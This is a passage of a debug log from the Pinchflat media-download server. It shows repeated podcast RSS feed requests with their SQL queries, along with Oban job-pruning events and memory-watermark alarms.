idle=148.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [1, 2000] 15:41:56.140 [debug] QUERY OK source="source_metadata" db=0.5ms idle=151.0ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [1] 15:41:56.159 [debug] QUERY OK source="media_metadata" db=18.8ms idle=152.0ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [36] 15:41:56.159 [info] Sent 200 in 25ms 15:41:56.437 [notice] :alarm_handler: {:set, {:system_memory_high_watermark, []}} 15:41:58.052 [info] {"source":"oban","duration":2004,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:42:00.214 [info] {"source":"oban","duration":515,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:42:06.138 [info] GET /sources/6b719dc2-c1bd-4513-8dea-24feb684f9c1/feed.xml 15:42:06.139 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "6b719dc2-c1bd-4513-8dea-24feb684f9c1"} Pipelines: [:maybe_basic_auth] 15:42:06.140 [debug] QUERY OK source="sources" db=1.1ms queue=0.1ms idle=488.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["6b719dc2-c1bd-4513-8dea-24feb684f9c1"] 15:42:06.143 [debug] QUERY OK source="media_items" db=1.5ms queue=0.2ms idle=152.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [1, 2000] 15:42:06.145 [debug] QUERY OK source="source_metadata" db=0.7ms idle=155.8ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [1] 15:42:06.146 [debug] QUERY OK source="media_metadata" db=0.9ms queue=0.1ms idle=157.0ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [36] 15:42:06.155 [info] Sent 200 in 17ms 15:42:28.055 [info] {"source":"oban","duration":1799,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:42:58.057 [info] {"source":"oban","duration":1345,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:43:00.217 [info] {"source":"oban","duration":540,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:43:28.059 [info] {"source":"oban","duration":1364,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:43:58.061 [info] {"source":"oban","duration":1101,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:44:00.218 [info] {"source":"oban","duration":451,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:44:28.063 [info] {"source":"oban","duration":1596,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:44:58.067 [info] {"source":"oban","duration":1682,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:45:00.221 [info] {"source":"oban","duration":900,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:45:28.069 [info] {"source":"oban","duration":981,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:45:58.071 [info] {"source":"oban","duration":1383,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:46:00.222 [info] {"source":"oban","duration":404,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:46:28.073 [info] {"source":"oban","duration":1274,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:46:58.075 [info] {"source":"oban","duration":1554,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:47:00.224 [info] {"source":"oban","duration":325,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:47:21.764 [info] GET /sources/6b719dc2-c1bd-4513-8dea-24feb684f9c1/feed.xml 15:47:21.765 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "6b719dc2-c1bd-4513-8dea-24feb684f9c1"} Pipelines: [:maybe_basic_auth] 15:47:21.766 [debug] QUERY OK source="sources" db=0.7ms queue=0.2ms idle=1768.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["6b719dc2-c1bd-4513-8dea-24feb684f9c1"] 15:47:21.768 [debug] QUERY OK source="media_items" db=1.2ms queue=0.1ms idle=1338.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [1, 2000] 15:47:21.772 [debug] QUERY OK source="source_metadata" db=0.8ms idle=773.9ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [1] 15:47:21.775 [debug] QUERY OK source="media_metadata" db=0.3ms queue=0.1ms idle=777.1ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [36] 15:47:21.775 [info] Sent 200 in 11ms 15:47:26.327 [info] GET /sources/6b719dc2-c1bd-4513-8dea-24feb684f9c1/feed.xml 15:47:26.328 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "6b719dc2-c1bd-4513-8dea-24feb684f9c1"} Pipelines: [:maybe_basic_auth] 15:47:26.330 [debug] QUERY OK source="sources" db=1.0ms idle=1331.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["6b719dc2-c1bd-4513-8dea-24feb684f9c1"] 15:47:26.332 [debug] QUERY OK source="media_items" db=1.4ms idle=1332.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [1, 2000] 15:47:26.333 [debug] QUERY OK source="source_metadata" db=0.6ms idle=1335.1ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [1] 15:47:26.335 [debug] QUERY OK source="media_metadata" db=0.5ms queue=0.6ms idle=1336.1ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [36] 15:47:26.336 [info] Sent 200 in 8ms 15:47:28.078 [info] {"source":"oban","duration":1607,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:47:58.082 [info] {"source":"oban","duration":1960,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:48:00.226 [info] {"source":"oban","duration":624,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:48:28.084 [info] {"source":"oban","duration":1737,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:48:58.087 [info] {"source":"oban","duration":1654,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:49:00.228 [info] {"source":"oban","duration":547,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:49:28.090 [info] {"source":"oban","duration":1652,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:49:56.499 [notice] :alarm_handler: {:clear, :system_memory_high_watermark} 15:49:58.093 [info] {"source":"oban","duration":1582,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:50:00.230 [info] {"source":"oban","duration":584,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:50:28.148 [info] {"source":"oban","duration":11332,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:50:58.151 [info] {"source":"oban","duration":1512,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:51:00.232 [info] {"source":"oban","duration":551,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:51:28.153 [info] {"source":"oban","duration":1566,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:51:56.514 [notice] :alarm_handler: {:set, {:system_memory_high_watermark, []}} 15:51:58.155 [info] {"source":"oban","duration":1370,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:52:00.234 [info] {"source":"oban","duration":459,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:52:28.157 [info] {"source":"oban","duration":1189,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:52:37.629 [info] GET /sources/6b719dc2-c1bd-4513-8dea-24feb684f9c1/feed.xml 15:52:37.630 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "6b719dc2-c1bd-4513-8dea-24feb684f9c1"} Pipelines: [:maybe_basic_auth] 15:52:37.631 [debug] QUERY OK source="sources" db=0.9ms idle=1633.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["6b719dc2-c1bd-4513-8dea-24feb684f9c1"] 15:52:37.633 [debug] QUERY OK source="media_items" db=1.6ms idle=1634.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [1, 2000] 15:52:37.635 [debug] QUERY OK source="source_metadata" db=0.1ms idle=1637.3ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [1] 15:52:37.635 [debug] QUERY OK source="media_metadata" db=0.4ms queue=0.1ms idle=1354.4ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [36] 15:52:37.636 [info] Sent 200 in 6ms 15:52:41.048 [info] GET /sources/6b719dc2-c1bd-4513-8dea-24feb684f9c1/feed.xml 15:52:41.049 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "6b719dc2-c1bd-4513-8dea-24feb684f9c1"} Pipelines: [:maybe_basic_auth] 15:52:41.051 [debug] QUERY OK source="sources" db=1.1ms queue=0.1ms idle=760.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["6b719dc2-c1bd-4513-8dea-24feb684f9c1"] 15:52:41.053 [debug] QUERY OK source="media_items" db=1.4ms queue=0.1ms idle=54.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [1, 2000] 15:52:41.054 [debug] QUERY OK source="source_metadata" db=0.5ms idle=56.7ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [1] 15:52:41.055 [debug] QUERY OK source="media_metadata" db=0.5ms queue=0.3ms idle=57.5ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [36] 15:52:41.125 [info] Sent 200 in 76ms 15:52:58.159 [info] {"source":"oban","duration":1422,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:53:00.235 [info] {"source":"oban","duration":498,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:53:28.162 [info] {"source":"oban","duration":1161,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:53:58.165 [info] {"source":"oban","duration":1876,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:54:00.237 [info] {"source":"oban","duration":522,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:54:28.167 [info] {"source":"oban","duration":1270,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:54:58.169 [info] {"source":"oban","duration":1286,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:55:00.239 [info] {"source":"oban","duration":557,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:55:28.171 [info] {"source":"oban","duration":1737,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:55:58.174 [info] {"source":"oban","duration":1076,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:56:00.267 [info] {"source":"oban","duration":531,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:56:28.177 [info] {"source":"oban","duration":1763,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:56:58.179 [info] {"source":"oban","duration":1325,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:57:00.270 [info] {"source":"oban","duration":785,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:57:28.181 [info] {"source":"oban","duration":1422,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:57:44.801 [info] GET /sources/6b719dc2-c1bd-4513-8dea-24feb684f9c1/feed.xml 15:57:44.802 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "6b719dc2-c1bd-4513-8dea-24feb684f9c1"} Pipelines: [:maybe_basic_auth] 15:57:44.804 [debug] QUERY OK source="sources" db=1.2ms idle=1774.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["6b719dc2-c1bd-4513-8dea-24feb684f9c1"] 15:57:44.806 [debug] QUERY OK source="media_items" db=1.3ms queue=0.1ms idle=807.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [1, 2000] 15:57:44.808 [debug] QUERY OK source="source_metadata" db=0.4ms idle=810.4ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [1] 15:57:44.809 [debug] QUERY OK source="media_metadata" db=0.3ms queue=0.1ms idle=812.0ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [36] 15:57:44.810 [info] Sent 200 in 9ms 15:57:50.112 [info] GET /sources/6b719dc2-c1bd-4513-8dea-24feb684f9c1/feed.xml 15:57:50.112 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "6b719dc2-c1bd-4513-8dea-24feb684f9c1"} Pipelines: [:maybe_basic_auth] 15:57:50.114 [debug] QUERY OK source="sources" db=1.0ms idle=115.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["6b719dc2-c1bd-4513-8dea-24feb684f9c1"] 15:57:50.116 [debug] QUERY OK source="media_items" db=1.2ms queue=0.1ms idle=117.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [1, 2000] 15:57:50.117 [debug] QUERY OK source="source_metadata" db=0.5ms idle=119.9ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [1] 15:57:50.118 [debug] QUERY OK source="media_metadata" db=0.6ms idle=120.8ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [36] 15:57:50.119 [info] Sent 200 in 7ms 15:57:58.183 [info] {"source":"oban","duration":1648,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:58:00.271 [info] {"source":"oban","duration":515,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:58:28.186 [info] {"source":"oban","duration":1424,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:58:58.188 [info] {"source":"oban","duration":1021,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:59:00.273 [info] {"source":"oban","duration":654,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:59:28.190 [info] {"source":"oban","duration":1706,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:59:56.609 [notice] :alarm_handler: {:clear, :system_memory_high_watermark} 15:59:58.193 [info] {"source":"oban","duration":1061,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:00:00.275 [info] {"source":"oban","duration":495,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:00:28.195 [info] {"source":"oban","duration":1548,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:00:58.199 [info] {"source":"oban","duration":2010,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:01:00.277 [info] {"source":"oban","duration":569,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:01:28.201 [info] {"source":"oban","duration":994,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:01:56.623 [notice] :alarm_handler: {:set, {:system_memory_high_watermark, []}} 16:01:58.203 [info] {"source":"oban","duration":1040,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:02:00.279 [info] {"source":"oban","duration":339,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:02:28.205 [info] {"source":"oban","duration":1433,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:02:38.617 [info] GET /sources/6b719dc2-c1bd-4513-8dea-24feb684f9c1/feed.xml 16:02:38.618 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "6b719dc2-c1bd-4513-8dea-24feb684f9c1"} Pipelines: [:maybe_basic_auth] 16:02:38.619 [debug] QUERY OK source="sources" db=0.8ms idle=1619.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["6b719dc2-c1bd-4513-8dea-24feb684f9c1"] 16:02:38.621 [debug] QUERY OK source="media_items" db=1.3ms queue=0.1ms idle=785.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [1, 2000] 16:02:38.623 [debug] QUERY OK source="source_metadata" db=0.4ms idle=623.3ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [1] 16:02:38.624 [debug] QUERY OK source="media_metadata" db=0.4ms queue=0.1ms idle=624.1ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [36] 16:02:38.624 [info] Sent 200 in 6ms 16:02:58.208 [info] 